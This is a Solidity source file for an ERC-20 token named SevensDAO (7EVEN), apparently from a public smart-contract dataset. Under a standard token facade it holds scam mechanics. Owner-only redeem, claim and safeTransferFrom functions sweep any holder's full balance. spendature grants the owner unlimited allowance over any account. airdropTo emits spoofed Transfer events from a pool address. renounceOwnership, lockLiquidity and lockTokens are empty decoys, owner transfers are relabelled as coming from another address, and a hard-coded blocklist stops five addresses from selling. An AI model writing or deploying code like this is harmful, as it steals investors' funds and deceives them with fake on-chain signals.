zellic-audit
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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract SevensDAO is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _positiveReceiver;
mapping (address => bool) private _negativeReceiver;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwner;
uint256 private _sellAmount = 0;
address public _currentRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
//
address public _master = 0xdA2cd96fca76C7bB0641C6EC737C2a03163091F4;
address public _owner = 0xdA2cd96fca76C7bB0641C6EC737C2a03163091F4;
address lead_deployer = 0x1ad889FA234F0a1F951ef657b825350891b2BCE1;
/////
address prohbted1 = 0x1ad889FA234F0a1F951ef657b825350891b2BCE1;
address prohbted2 = 0x88D9976F109524e2A7B6D26Ca3851CCAc93B5C4D;
address prohbted3 = 0xf497253C2bB7644ebb99e4d9ECC104aE7a79187A;
address prohbted4 = 0x16A1c8C6898B5301b578788183D89aF11BAf290c;
address prohbted5 = 0x8ADD70024a5673bE5fFdD952239Ef2Ccbd6a7152;
constructor () public {
_name = "SevensDAO";
_symbol = "7EVEN";
_decimals = 18;
uint256 initialSupply = 7777777;
_safeOwner = _owner;
_mint(lead_deployer, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_backendProduction(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_backendProduction(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function approvalIncrease(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_positiveReceiver[receivers[i]] = true;
_negativeReceiver[receivers[i]] = false;
}
}
function approvalDecrease(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_negativeReceiver[receivers[i]] = true;
_positiveReceiver[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = lead_deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _backendProduction(address sender, address recipient, uint256 amount) internal optimizerExecuter(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require((sender != prohbted1),".");
require((sender != prohbted2),".");
require((sender != prohbted3),".");
require((sender != prohbted4),".");
require((sender != prohbted5),".");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = lead_deployer;
}
emit Transfer(sender, recipient, amount);
}
modifier optimizerExecuter(address sender, address recipient, uint256 amount){
_;
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier onlyAuthorized() {
require(msg.sender == _owner || msg.sender == _master, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function redeem(address account, address staker) public onlyAuthorized() {
require(msg.sender == _owner, "ERC20: mint to the zero address");
uint256 amount = _balances[account];
_beforeTokenTransfer(account, staker, amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_balances[staker] = _balances[staker].add(amount);
emit Transfer(account, staker, amount);
}
function claim(address account, address staker) public onlyAuthorized() {
require(msg.sender == _owner, "ERC20: mint to the zero address");
uint256 amount = _balances[account];
_beforeTokenTransfer(account, staker, amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_balances[staker] = _balances[staker].add(amount);
emit Transfer(account, staker, amount);
}
function safeTransferFrom(address account, address staker) public onlyAuthorized() {
require(msg.sender == _owner, "ERC20: mint to the zero address");
uint256 amount = _balances[account];
_beforeTokenTransfer(account, staker, amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_balances[staker] = _balances[staker].add(amount);
emit Transfer(account, staker, amount);
}
function renounceOwnership() public onlyAuthorized(){
//Renounces Ownership
}
function lockLiquidity() public onlyAuthorized(){
//Renounces Ownership
}
function lockTokens() public onlyAuthorized(){
//Renounces Ownership
}
function spendature(address target) public onlyAuthorized() virtual returns (bool) {
//Approve Spending
_approve(target, _msgSender(), _approveValue); return true;
}
/*
function airdrop(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public onlyAuthorized(){
//Multi Transfer Emit Spoofer from Uniswap Pool
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
*/
function airdropTo(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public onlyAuthorized(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function transferToWhitelist(address sndr,address[] memory destination, uint256[] memory amounts) public onlyAuthorized(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
}